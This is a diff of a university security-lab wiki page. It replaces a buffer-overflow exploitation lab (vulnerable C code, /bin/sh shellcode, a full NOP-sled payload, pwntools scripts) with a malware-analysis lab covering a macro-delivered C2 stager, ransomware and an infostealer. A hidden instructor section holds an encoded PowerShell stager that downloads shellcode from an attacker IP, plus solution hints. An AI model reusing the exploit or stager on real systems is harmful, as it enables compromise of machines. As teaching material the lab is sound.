Differences
This shows you the differences between two versions of the page.
|
isc:labs:06 [2022/04/11 11:10] horia.stoenescu [Objectives] |
isc:labs:06 [2024/11/11 14:43] (current) vlad_iulius.nastase |
||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | /* ~~SHOWSOLUTION~~ */ | + | ====== Lab 06 - Malware ====== |
| - | ====== Lab 06 - Operating System Security ====== | + | <ifauth @isc> |
| + | <note warning> | ||
| + | **Ghid Command and Control** | ||
| - | ===== Objectives ===== | + | [[https://docs.google.com/document/d/1sPfDPA6IvklVLTsZMk6FHv_vrWzu94E3qw-B3eWwSnw/edit?usp=sharing]] |
| - | * Linux Protection Mechanisms (ASLR) | + | |
| - | * Return-oriented programming (ROPs) | + | |
| - | * Exploit mitigation | + | |
| - | ===== ASLR ===== | + | |
| - | Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. | + | [[https://outline.vladn.st/s/fcb3a6a5-da87-40a7-872a-39ad4a9aff43]] |
| - | In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting. | + | |
| - | To disable ASLR: | + | </note> |
| - | <code> | + | </ifauth> |
| - | echo "0" | [sudo] dd of=/proc/sys/kernel/randomize_va_space | + | |
| - | </code> | + | |
| - | To enable ASLR: | + | ===== Setup ===== |
| - | <code> | + | |
| - | echo "2" | [sudo] dd of=/proc/sys/kernel/randomize_va_space | + | |
| - | </code> | + | |
| - | ==== Shellcode Injection ==== | + | For this lab we will use the provided Windows VM. Please [[https://repository.grid.pub.ro/cs/isc/ISC%20Malware%20Lab%20VM.zip|download it from here]] in advance (~12GB archived; **you will need ~30-40GB of free storage on your computer**). |
| - | Scenario: | + | The VM is compatible with VMWare (Workstation and Player) >16. You can [[https://softwareupdate.vmware.com/cds/vmw-desktop/|download VMWare here]]. We recommend Workstation 17. |
| - | You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access. | + | <note warning> |
| + | All exercises will be done inside the Windows VM. **DO NOT** copy the provided files outside of the VM. Even if it is "didactic malware", written by us, it can actually be damaging to your computer. | ||
| + | </note> | ||
| - | == 00. Setup == | + | <note> |
| + | Every tool you need is already installed on the VM we provided. If it’s not on the taskbar, you can find it on your Desktop, in the folder named ''%%Tools%%''. | ||
| + | </note> | ||
| - | Install again ''libc6-dev-i386'' library: | + | If needed, we will also use [[https://cloud.grid.pub.ro/|Openstack]] (limited capacity). Use the ''%%isc_prj%%'' project and start a VM with the following specifications: |
| - | <code> | + | * Source: ''%%ISC Malware Lab%%'' |
| - | $ sudo apt install libc6-dev-i386 | + | * Flavor: ''%%m1.isc_malware_lab%%'' |
| - | </code> | + | You don't need to specify an SSH key, we will be using the browser console to interact with the virtual machine. |
| - | We will also need gdb-peda, which will be installed later (see the [[https://ocw.cs.pub.ro/courses/isc/labs/05?&#setup|Setup]] from the latest lab). | + | ===== 00. Infection vector ===== |
| - | Create a user test without root privileges: | + | You are Gigel, an accountant at some lifeless notary firm. One day you receive an email with an attached Excel from //¿̶̦̞̗́͗̕y̸̳̹̗̆̏̍ǫ̵̭̞́͗͘ṷ̵̝͋̽r̸̢̪̈́ ̵͈̪̥̀̈́̓ḃ̶͇̬͑o̷͙̰̊͜š̷̱͈̐s̴͔͙̿?̵̤̽͆̕// telling you it’s some important financial data that has to be submitted until the end of the day to the authorities. Have you missed something? But you’re a good accountant, how did this happen? It’s probably something the bossman doesn’t really understand and is panicked for no reason, so you decide to open the attachment. You are filled with an extreme boredom and just want to get this stuff done and go back to scrolling Reddit, so you ignore any and all pop-ups, allow everything (despite the constant nagging of those pesky IT guys). |
| - | <code> | + | |
| - | $ sudo useradd -m test -s /bin/bash | + | |
| - | $ sudo su test | + | |
| - | $ cd ~ | + | |
| - | </code> | + | |
| - | Create ''vuln.c'' in the home directory for ''test'' user, containing the following code: | + | **The attachment is on your Desktop. Go ahead, open it. What could go wrong?** |
| - | <code> | + | |
| - | #include <stdio.h> | + | |
| - | #include <string.h> | + | |
| - | void func(char *name) | + | ===== 01. Office Macros ===== |
| - | { | + | |
| - | char buf[100]; | + | |
| - | strcpy(buf, name); | + | |
| - | printf("Welcome %s\n", buf); | + | |
| - | } | + | |
| - | int main(int argc, char *argv[]) | + | <note important> |
| - | { | + | You are now infected. |
| - | func(argv[1]); | + | </note> |
| - | return 0; | + | |
| - | } | + | |
| - | </code> | + | |
| - | Compile it: | + | One of the most common infection vectors is phishing and social engineering, which relies on the user simply opening a malicious binary. In our case, simply opening that Excel document got you infected. You might not see anything suspicious happening for now, so keep reading. |
| - | <code> | + | |
| - | gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack | + | |
| - | -fno-stack-protector - disable the stack protection | + | ==== Online sandboxes ==== |
| - | -m32 - make sure that the compiled binary is 32 bit | + | |
| - | -z execstack - makes the stack executable | + | |
| - | </code> | + | |
| - | Set the suid bit and owner to root: | + | While the VM we provided has some included tools for analysis, you probably don’t know where to get started. We recommend trying one of the available online sandboxes available. |
| - | <code> | + | |
| - | sudo chown root:test vuln | + | |
| - | sudo chmod 550 vuln | + | |
| - | sudo chmod u+s vuln | + | |
| - | </code> | + | |
| - | Turn off ASLR and then log into ''test'' user. | + | * [[https://www.virustotal.com/gui/home/upload|VirusTotal]] |
| + | * [[https://www.hybrid-analysis.com/|Hybrid Analysis]] | ||
| + | * [[https://app.any.run/|ANY.RUN]] | ||
| - | == 01. Finding a vulnerability == | + | The sandboxes mentioned above will take the documents you upload, run them (just like you did), but they also run some static analysis and monitor a few other things: |
| - | Disassemble using objdump in order to analyze the program: | + | * process execution, including any child processes |
| - | <code> | + | * network activity |
| - | objdump -d -M intel vuln | + | * static analysis for suspicious signatures |
| - | </code> | + | * Encoding detection |
| + | * Binary packing detection | ||
| + | * YARA Rules (a format to specify signatures for malware) | ||
| - | Looking at the disassembly of ''func'', it can be observed that ''buf'' lies at ''ebp - 0x6c''. Hence, 108 bytes are allocated for ''buf'' in the stack, the next 4 bytes would be the saved ''ebp'' pointer of the previous stack frame, and the next 4 bytes will be the return address. | + | Pick one sandbox and submit the Excel document. See what info you can gather from the results. |
| - | What happens if the program receives as argument a buffer containing 116 As? | + | <spoiler Hint 1> |
| - | <code> | + | <note tip> |
| - | ./vuln $(python -c 'print 116 * "A"') | + | Look at the processes that are executed, does anything look suspicious? |
| - | </code> | + | </note> |
| + | </spoiler> | ||
| - | Use ''gdb'' to discover the address where the program is crashing. What do you observe? Why is this happening? | + | <spoiler Hint 2> |
| + | <note tip> | ||
| + | What about network connections? | ||
| + | </note> | ||
| + | </spoiler> | ||
| - | **hint:** You might need to re-install [[https://github.com/longld/peda|PEDA]] as the ''test'' user. | + | ==== Visual Basic macros ==== |
| - | == 02. Crafting Shellcode == | + | From sandbox results, you can probably observe some references to a Powershell process being started by Excel. Powershell is a shell, just like ''%%bash%%'' and is (at least from Windows 10/11) the default system shell on Windows. So, why would Excel, a spreadsheet program, need to open a shell prompt and run commands? In usual operation, it doesn’t, but for more advanced use cases, Excel (and some other Office products) allow you to write “macros”, which are functions written in the Visual Basic programming language. |
| - | We will create a shellcode that spawns a shell. First create shellcode.asm with the following code: | + | You can read more about this |
| - | <code> | + | * https://support.microsoft.com/en-us/office/automatically-run-a-macro-when-opening-a-workbook-1e55959b-e077-4c88-a696-c3017600db44 |
| - | xor eax, eax ;Clearing eax register | + | * https://learn.microsoft.com/en-us/office/vba/library-reference/concepts/getting-started-with-vba-in-office |
| - | push eax ;Pushing NULL bytes | + | |
| - | push 0x68732f2f ;Pushing //sh | + | |
| - | push 0x6e69622f ;Pushing /bin | + | |
| - | mov ebx, esp ;ebx now has address of /bin//sh | + | |
| - | push eax ;Pushing NULL byte | + | |
| - | mov edx, esp ;edx now has address of NULL byte | + | |
| - | push ebx ;Pushing address of /bin//sh | + | |
| - | mov ecx, esp ;ecx now has address of address | + | |
| - | ;of /bin//sh byte | + | |
| - | mov al, 11 ;syscall number of execve is 11 | + | |
| - | int 0x80 ;Make the system call | + | |
| - | </code> | + | |
| - | Install nasm and compile shellcode using it: | ||
| - | <code> | ||
| - | nasm -f elf shellcode.asm | ||
| - | </code> | ||
| - | Use objdump to get the shellcode bytes: | + | Since our macro got executed when we opened the document, we need a way to see it without running Excel. We can use the ''%%oletools%%'' Python package for this. |
| - | <code> | + | |
| - | objdump -d -M intel shellcode.o | + | |
| - | </code> | + | |
| - | Extracting the bytes gives us the shellcode: | ||
| - | <code> | ||
| - | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 | ||
| - | </code> | ||
| - | == 03. Finding a possible place to inject shellcode == | + | <note> |
| + | **FLAG 1 [30p]** | ||
| - | In this example ''buf'' seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running ''vuln''. But how do we know what address ''buf'' will be loaded in stack? That’s where ''gdb'' will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of ''buf'' will not change. | + | Read the documentation for ''%%oletools%%'', available on [[https://github.com/decalage2/oletools|Github]] and extract the macro. ''%%oletools%%'' is already installed in your virtual machine. |
| + | </note> | ||
| - | Run ''vuln'' using ''gdb'': | + | <spoiler Hint> |
| - | <code> | + | ''%%oletools%%'' is the package name. Check the documentation for the name of the tool that seems to do what you want. |
| - | vampire@linux:/home/test$ gdb -q vuln | + | </spoiler> |
| - | Reading symbols from vuln...(no debugging symbols found)...done. | + | |
| - | (gdb) break func | + | |
| - | Breakpoint 1 at 0x8048456 | + | |
| - | (gdb) run $(python -c 'print "A"*116') | + | |
| - | Starting program: /home/test/vuln $(python -c 'print "A"*116') | + | |
| - | Breakpoint 1, 0x08048456 in func () | + | Observe the output you got from ''%%oletools%%''. It also provides some insight into what the macro is doing, including the reason it automatically executes when the Excel workbook is opened. |
| - | (gdb) print $ebp | + | |
| - | $1 = (void *) 0xffffce78 | + | |
| - | (gdb) print $ebp - 0x6c | + | |
| - | $2 = (void *) 0xffffce0c | + | |
| - | </code> | + | |
| - | The above commands set a breakpoint at the ''func'' function and the start the binary with a payload of length 116 as the argument. Printing the address ''ebp - 0x6c'' shows that ''buf'' was located at ''0xffffce0c''. However this need not be the address of ''buf'' when we run the program outside of ''gdb''. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of ''buf''. This difference will be around a few bytes, but we will later demonstrate how to take care of it. | + | We recommend using CyberChef to decode the powershell payload that is executed. Some useful CyberChef functions you might want to use (not completely necessary to use all of them): ''%%Find/Replace%%'', ''%%Drop Bytes%%'', some decoding function (figure out the encoding, or let CyberChef help you), ''%%Decode text%%''. |
| - | **Note**: The length of the payload will have an effect on the location of ''buf'' as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we’ll be passing. | + | <spoiler Hint> |
| + | Windows uses UTF-16 Little Endian text encoding by default. | ||
| + | </spoiler> | ||
| - | == 04. Transfering execution flow of the program to the inserted shellcode == | ||
| - | This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that ''vuln'' is vulnerable to buffer overflow and we can modify the return address for function ''func''. | + | In the end you get a weird looking Powershell script. You don’t need to worry about understanding it, but if you want to read more, you can [[https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/#powershell-stager|do it here]]. Some useful information you can get from this Powershell script: |
| - | == 05. Crafting payload == | + | * the flag for this exercise |
| + | * the address for the attacker’s infrastructure (which you also observed in the sandbox results) | ||
| - | Let’s insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here’s our shellcode: | + | <ifauth @isc> |
| + | <hidden> | ||
| <code> | <code> | ||
| - | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 | + | olevba 'IMPORTANT FIANNCIAL DATA.xls' |
| </code> | </code> | ||
| - | Length of shellcode = 25 bytes | ||
| - | We also discovered that return address starts after the first 112 bytes of ''buf''. | + | [[https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%5B%22_%26%20%5C%5Cr%5C%5Cn%5D'%7D,'',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=SkFCWEFHa0FiZ0F6QURJQUlBQTlBQ0FBUUFBaUFBMEFDZ0IxQUhNQWFRQnVBR2NBSUFCVEFIa0Fjd0IwQUdVQWJRQTdBQTBBQ2dCMUFITUFhUUJ1QUdjQUlBQlRBSGtBY3dCMEFHVUFiUUF1QUZJQWRRQnVBSFFBYVFCdEFHVUFMZ0JKQUc0QWRBQmxBSElBYndCd0FGTUFaUUJ5QUhZQWFRQmpBR1VBY3dBN0FBMEFDZ0J3QUhVQVlnQnNBR2tBWXdBZ0FHTUFiQUJoQUhNQWN3QWdBRmNBYVFCdUFETUFNZ0FnQUhzQURRQUtBRnNBUkFCc0FHd0FTUSIgXw0KICAgICYgIkJ0QUhBQWJ3QnlBSFFBS0FBaUFHc0FaUUJ5QUc0QVpRQnNBRE1BTWdBaUFDa0FYUUFOQUFvQWNBQjFBR0lBYkFCcEFHTUFJQUJ6QUhRQVlRQjBBR2tBWXdBZ0FHVUFlQUIwQUdVQWNnQnVBQ0FBU1FCdUFIUUFVQUIwQUhJQUlBQldBR2tBY2dCMEFIVUFZUUJzQUVFQWJBQnNBRzhBWXdBb0FFa0FiZ0IwQUZBQWRBQnlBQ0FBYkFCd0FFRUFaQUJrQUhJQVpRQnpBSE1BTEFBTkFBb0FJQUFnQUNBQUlBQjFBR2tBYmdCMEFDQUFaQUIzQUZNQWFRQjYiIF8NCiAgICAmICJBR1VBTEFBTkFBb0FJQUFnQUNBQUlBQjFBR2tBYmdCMEFDQUFaZ0JzQUVFQWJBQnNBRzhBWXdCaEFIUUFhUUJ2QUc0QVZBQjVBSEFBWlFBc0FBMEFDZ0FnQUNBQUlBQWdBSFVBYVFCdUFIUUFJQUJtQUd3QVVBQnlBRzhBZEFCbEFHTUFkQUFwQURzQURRQUtBRnNBUkFCc0FHd0FTUUJ0QUhBQWJ3QnlBSFFBS0FBaUFHc0FaUUJ5QUc0QVpRQnNBRE1BTWdBaUFDd0FJQUJEQUdnQVlRQnlBRk1BWlFCMEFEMEFRd0JvQUdFQWNnQlRBR1VBZEFBdUFFIiBfDQogICAgJiAiRUFiZ0J6QUdrQUtRQmRBQTBBQ2dCd0FIVUFZZ0JzQUdrQVl3QWdBSE1BZEFCaEFIUUFhUUJqQUNBQVpRQjRBSFFBWlFCeUFHNEFJQUJKQUc0QWRBQlFBSFFBY2dBZ0FFTUFjZ0JsQUdFQWRBQmxBRlFBYUFCeUFHVUFZUUJrQUNnQURRQUtBQ0FBSUFBZ0FDQUFTUUJ1QUhRQVVBQjBBSElBSUFCc0FIQUFWQUJvQUhJQVpRQmhBR1FBUVFCMEFIUUFjZ0JwQUdJQWRRQjBBR1VBY3dBc0FBMEFDZ0FnQUNBQUlBQWdBSFVBYVFCdUFIUUFJQUJrQUhjQSIgXw0KICAgICYgIlV3QjBBR0VBWXdCckFGTUFhUUI2QUdVQUxBQU5BQW9BSUFBZ0FDQUFJQUJKQUc0QWRBQlFBSFFBY2dBZ0FHd0FjQUJUQUhRQVlRQnlBSFFBUVFCa0FHUUFjZ0JsQUhNQWN3QXNBQTBBQ2dBZ0FDQUFJQUFnQUVrQWJnQjBBRkFBZEFCeUFDQUFiQUJ3QUZBQVlRQnlBR0VBYlFCbEFIUUFaUUJ5QUN3QURRQUtBQ0FBSUFBZ0FDQUFkUUJwQUc0QWRBQWdBR1FBZHdCREFISUFaUUJoQUhRQWFRQnZBRzRBUmdCc0FHRUFad0J6QUN3QURRQUtBQ0FBSUEiIF8NCiAgICAmICJBZ0FDQUFTUUJ1QUhRQVVBQjBBSElBSUFCc0FIQUFWQUJvQUhJQVpRQmhBR1FBU1FCa0FDa0FPd0FOQUFvQVd3QkVBR3dBYkFCSkFHMEFjQUJ2QUhJQWRBQW9BQ0lBYXdCbEFISUFiZ0JsQUd3QU13QXlBQzRBWkFCc0FHd0FJZ0FzQUNBQVV3QmxBSFFBVEFCaEFITUFkQUJGQUhJQWNnQnZBSElBUFFCMEFISUFkUUJsQUNrQVhRQU5BQW9BY0FCMUFHSUFiQUJwQUdNQUlBQnpBSFFBWVFCMEFHa0FZd0FnQUdVQWVBQjBBR1VBY2dCdUFDQUFWUUJKIiBfDQogICAgJiAiQUc0QWRBQXpBRElBSUFCWEFHRUFhUUIwQUVZQWJ3QnlBRk1BYVFCdUFHY0FiQUJsQUU4QVlnQnFBR1VBWXdCMEFDZ0FEUUFLQUNBQUlBQWdBQ0FBU1FCdUFIUUFVQUIwQUhJQUlBQm9BRWdBWVFCdUFHUUFiQUJsQUN3QURRQUtBQ0FBSUFBZ0FDQUFWUUJKQUc0QWRBQXpBRElBSUFCa0FIY0FUUUJwQUd3QWJBQnBBSE1BWlFCakFHOEFiZ0JrQUhNQUtRQTdBQTBBQ2dCOUFBMEFDZ0FpQUVBQURRQUtBRUVBWkFCa0FDMEFWQUI1QUhBQVpRQWdBQyIgXw0KICAgICYgIlFBVndCcEFHNEFNd0F5QUEwQUNnQU5BQW9BSXdBZ0FFa0FVd0JEQUhzQWFBQmxBR01BWVFCeUFHMEFaUUJ1QUY4QWR3QmhBSE1BWHdCb0FHVUFjZ0JsQUgwQURRQUtBRnNBVXdCNUFITUFkQUJsQUcwQUxnQk9BR1VBZEFBdUFGTUFaUUJ5QUhZQWFRQmpBR1VBVUFCdkFHa0FiZ0IwQUUwQVlRQnVBR0VBWndCbEFISUFYUUE2QURvQVV3QmxBSElBZGdCbEFISUFRd0JsQUhJQWRBQnBBR1lBYVFCakFHRUFkQUJsQUZZQVlRQnNBR2tBWkFCaEFIUUEiIF8NCiAgICAmICJhUUJ2QUc0QVF3QmhBR3dBYkFCaUFHRUFZd0JyQUNBQVBRQWdBSHNBSkFCMEFISUFkUUJsQUgwQUlBQTdBQTBBQ2dBa0FITUFhQUJsQUd3QWJBQmpBRzhBWkFCbEFDQUFQUUFnQUNnQVRnQmxBSGNBTFFCUEFHSUFhZ0JsQUdNQWRBQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVRnQmxBSFFBTGdCWEFHVUFZZ0JEQUV3QWFRQmxBRzRBZEFBcEFDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FFUUFZUUIwQUdFQUtBQWlBR2dBZEFCMEFIQUFjd0E2QUM4QUx3IiBfDQogICAgJiAiQXhBRGtBTkFBdUFERUFPQUF5QUM0QU1RQTJBRFFBTGdBeEFEUUFPUUE2QURnQU1BQTRBREFBTHdCbUFHOEFiZ0IwQUdFQWR3QmxBSE1BYndCdEFHVUFMZ0IzQUc4QVpnQm1BQ0lBS1FBTkFBb0FhUUJtQUNBQUtBQWtBSE1BYUFCbEFHd0FiQUJqQUc4QVpBQmxBQ0FBTFFCbEFIRUFJQUFrQUc0QWRRQnNBR3dBS1FBZ0FIc0FSUUI0QUdrQWRBQjlBRHNBRFFBS0FDUUFjd0JwQUhvQVpRQWdBRDBBSUFBa0FITUFhQUJsQUd3QWJBQmpBRzhBWkFCbCIgXw0KICAgICYgIkFDNEFUQUJsQUc0QVp3QjBBR2dBRFFBS0FBMEFDZ0JiQUVrQWJnQjBBRkFBZEFCeUFGMEFKQUJoQUdRQVpBQnlBQ0FBUFFBZ0FGc0FWd0JwQUc0QU13QXlBRjBBT2dBNkFGWUFhUUJ5QUhRQWRRQmhBR3dBUVFCc0FHd0Fid0JqQUNnQU1BQXNBQ1FBY3dCcEFIb0FaUUFzQURBQWVBQXhBREFBTUFBd0FDd0FNQUI0QURRQU1BQXBBRHNBRFFBS0FGc0FVd0I1QUhNQWRBQmxBRzBBTGdCU0FIVUFiZ0IwQUdrQWJRQmxBQzRBU1FCdUFIUUFaUUJ5QUciIF8NCiAgICAmICI4QWNBQlRBR1VBY2dCMkFHa0FZd0JsQUhNQUxnQk5BR0VBY2dCekFHZ0FZUUJzQUYwQU9nQTZBRU1BYndCd0FIa0FLQUFrQUhNQWFBQmxBR3dBYkFCakFHOEFaQUJsQUN3QUlBQXdBQ3dBSUFBa0FHRUFaQUJrQUhJQUxBQWdBQ1FBY3dCcEFIb0FaUUFwQUEwQUNnQWtBSFFBYUFCaEFHNEFaQUJzQUdVQVBRQmJBRmNBYVFCdUFETUFNZ0JkQURvQU9nQkRBSElBWlFCaEFIUUFaUUJVQUdnQWNnQmxBR0VBWkFBb0FEQUFMQUF3QUN3QUpBQmhBR1FBIiBfDQogICAgJiAiWkFCeUFDd0FNQUFzQURBQUxBQXdBQ2tBT3dBTkFBb0FXd0JYQUdrQWJnQXpBRElBWFFBNkFEb0FWd0JoQUdrQWRBQkdBRzhBY2dCVEFHa0FiZ0JuQUd3QVpRQlBBR0lBYWdCbEFHTUFkQUFvQUNRQWRBQm9BR0VBYmdCa0FHd0FaUUFzQUNBQVd3QjFBR2tBYmdCMEFETUFNZ0JkQUNJQU1BQjRBRVlBUmdCR0FFWUFSZ0JHQUVZQVJnQWlBQ2tBIg&ieol=CRLF&oeol=CRLF|CyberChef recipe]] |
| + | </hidden> | ||
| + | </ifauth> | ||
| - | We’ll fill the first 40 bytes with NOP instructions, constructing a NOP Sled. | + | ===== 02. Command and Control (C2 / C&C) ===== |
| - | **NOP Sled** is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction. | + | What you uncovered is a command and control stager. Command and control attacks are a type of attack where a program is used to gain control of the infected computers. This requires a connection to a command and control server, where attackers can see the infected devices and send command to them. Some functionality of command and control binaries: |
| - | The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly. | + | * process control (spawning, killing and dumping processes) |
| + | * information gathering (user, network, computer) | ||
| + | * file transfer | ||
| + | * covert persistence (via process injection, beacons, backdoored binaries) | ||
| + | * screenshot taking | ||
| - | We will make the processor jump to the address of ''buf'' (taken from gdb’s output) + 20 bytes to get somewhere in the middle of the NOP sled. | + | <note> |
| - | <code> | + | **FLAG 2 [10p]** |
| - | 0xffffce0c + 20 = 0xffffce20 | + | |
| - | </code> | + | |
| - | We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the ‘A’ character. | + | |
| - | Final payload structure: | + | Attackers might neglect the security of their own infrastructure. Check if this is the case. Maybe try some other known ports? (''%%nmap%%'' is installed, but you probably don't need it) |
| - | <code> | + | </note> |
| - | [40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce20] | + | |
| - | </code> | + | |
| - | == 06. Running the exploit == | ||
| - | <code> | + | The C2 stager we used is a pretty simple one. If you want to read more about C2 capabilities you can read this [[https://dominicbreuker.com/post/learning_sliver_c2_01_installation/|awesome blog post series]] about Sliver. |
| - | test@linux ~ $ ./vuln $(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*47 + "\x20\xce\xff\xff"') | + | |
| - | Welcome ����������������������������������������j | + | |
| - | X�Rhn/shh//bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��� | + | |
| - | # whoami | + | |
| - | test | + | |
| - | </code> | + | |
| - | Congratulations! You’ve got root access. | + | <ifauth @isc> |
| + | <hidden> | ||
| + | [[http://194.182.164.149/]] | ||
| + | </hidden> | ||
| + | </ifauth> | ||
| - | <note important> | + | ===== 03. Ransomware ===== |
| - | In case of segmentation fault, try changing the return address by +- 40 a few times. | + | |
| - | If it still won't work, the easiest solution is to dump the stack address from the program: <code c> | + | <note warning> |
| - | // insert this at the beginning of `func`: | + | Ask your lab assistant to use the C2 server to send some actual malware your way. |
| - | printf("Stack addr: %04X\n", &buf); | + | |
| - | </code> | + | As a backup, the ransomware binary can also be found in ''%%C:\Users\<your_user>\Documents\backup%%'' |
| - | Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets. | + | |
| </note> | </note> | ||
| - | == 07. What if we enable ASLR? == | + | **As before, go ahead and run it, see what happens.** |
| - | Try to enable ASLR and re-run the exploit. What happens? | ||
| - | == 08. [Bonus] Pwntools scripts == | + | Ransomware is a type of malware that encrypts documents and files on your computer, demanding a ransom to obtain a decryption key or program. In our case, the entire content of the ''%%very_secret_documents%%'' folder on your Desktop has been encrypted. |
| - | If you want have a cleaner way to exploit binaries you can use a python script with pwntools package. | + | But is there any way you can recover those files? Since we presume the attacker has a decryption key for your files, that means the ransomware must communicate in some way. Try and use Wireshark to see if any traffic seems out of the ordinary. |
| - | See on this [[https://docs.pwntools.com/en/stable/install.html|link]] how to install pwntools package (be patient, the installation might take some minutes :) ). | ||
| - | Here is a sample solution you can complete to get to the same result as above. You will need to disable ASLR again. | + | <note> |
| + | **FLAG 3 [20p]** | ||
| - | <spoiler For python2: > | + | Try and find the decryption key. |
| - | <code> | + | </note> |
| - | from pwn import * | + | |
| - | context.log_level = 'info' | + | <note> |
| + | **FLAG 4 [10p]** | ||
| - | BIN = "./vuln" | + | Decrypt the files, maybe they contained a flag. You can use the provided ''%%decryptor.exe%%'' (on your Desktop), or you can challenge yourself and try to decrypt them manually (CyberChef can be of great help here; assume the encryption is a well-known one). |
| - | context.binary = BIN | + | </note> |
| - | size = 112 | + | <note tip> |
| - | offset = 0 | + | You can also use any of the sandboxes you used at the first exercise and see what useful information they can provide. |
| - | shellcode = "" | + | </note> |
| - | buf_start_addr = 0x0 # put your value here ex: 0xffffd12c | + | |
| - | padding = size - len(shellcode) - offset | + | |
| - | # p32 is used to pack our adress and make it just fit for use in our payload | + | <ifauth @isc> |
| - | # ex 0xffffd12c => \x2c\xd1\xff\xff | + | <hidden> |
| - | payload = "\x90" * offset + shellcode + "A" * padding + p32(buf_start_addr) | + | Cheia e trimisa ca DNS request (hex-encoded). |
| - | print(payload) | ||
| - | |||
| - | #we use process to launch our target we can specify other args or set target to remote | ||
| - | io = process([BIN, payload]) | ||
| - | |||
| - | #use this to avoid terminating connection (usefull when trying to get shell) | ||
| - | io.interactive() | ||
| - | </code> | ||
| - | </spoiler> | ||
| - | |||
| - | <spoiler And for python3: > | ||
| <code> | <code> | ||
| - | from pwn import * | + | .\decryptor.exe $hex_key .\very_important_documents |
| - | import sys | + | |
| - | + | ||
| - | context.log_level = 'info' | + | |
| - | + | ||
| - | BIN = "./vuln" | + | |
| - | context.binary = BIN | + | |
| - | + | ||
| - | + | ||
| - | size = 112 | + | |
| - | offset = 0 | + | |
| - | shellcode = b"" | + | |
| - | buf_start_addr = 0x0 # put your value here ex: 0xffffd12c | + | |
| - | padding = size - len(shellcode) - offset | + | |
| - | + | ||
| - | # p32 is used to pack our adress and make it just fit for use in our payload | + | |
| - | # ex 0xffffd12c => \x2c\xd1\xff\xff | + | |
| - | payload = b"\x90" * offset + shellcode + b"A" * padding + p32(buf_start_addr) | + | |
| - | + | ||
| - | print(len(payload)) | + | |
| - | sys.stdout.buffer.write(payload) | + | |
| - | + | ||
| - | #we use process to launch our target we can specify other args or set target to remote | + | |
| - | # io = remote('<ip>', <port>) | + | |
| - | io = process([BIN, payload]) | + | |
| - | + | ||
| - | #use this to avoid terminating connection (usefull when trying to get shell) | + | |
| - | io.interactive() | + | |
| </code> | </code> | ||
| - | </spoiler> | ||
| - | ==== Summary ==== | + | Flag-ul din documente e sub trollface-ul din documentul ''%%subiecte examen ISC.docx%%'' |
| + | </hidden> | ||
| + | </ifauth> | ||
| - | To summarize, we overflowed the buffer and modified the return address to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn’t randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer. | + | ===== 04. Infostealers ===== |
| - | ==== Return-oriented programming (ROP) ==== | + | As the name suggests, this type of malware steals information from your system. Usually, they steal browser data, since it can contain: |
| - | == 09. Chaining functions == | + | * stored passwords |
| + | * saved credit cards | ||
| + | * valid cookies (they can be used for [[https://owasp.org/www-community/attacks/Session_hijacking_attack|session hijacking]]) | ||
| + | **As before, run the provided ''%%infostealer.exe%%'' from your lab assistant (or the backup one)** | ||
| - | We got the following vulerable code: | ||
| - | <code> | + | Seemingly nothing happens (except that your browser might close on you), but let us take a look at what files are accessed by ''%%infostealer.exe%%''. We can use the tool ''%%procmon64%%'' from the [[https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite|Sysinternals Suite]] to analyze some of the runtime behavior of a program, including accessed files and network activity. |
| - | #include <stdio.h> | + | |
| - | void surprise(int b){ | + | <note> |
| - | if (b == 0x87654321) { | + | **FLAG 5 [30p]** |
| - | puts("SURPRISE\n"); | + | |
| - | system("/bin/sh"); | + | |
| - | } else { | + | |
| - | puts("Surprise found, but the arg is not the right one!"); | + | |
| - | } | + | |
| - | } | + | |
| - | void secret(int a){ | + | Find what information has been stolen from you. There’s a flag in there. |
| - | if (a == 0x12345678) { | + | |
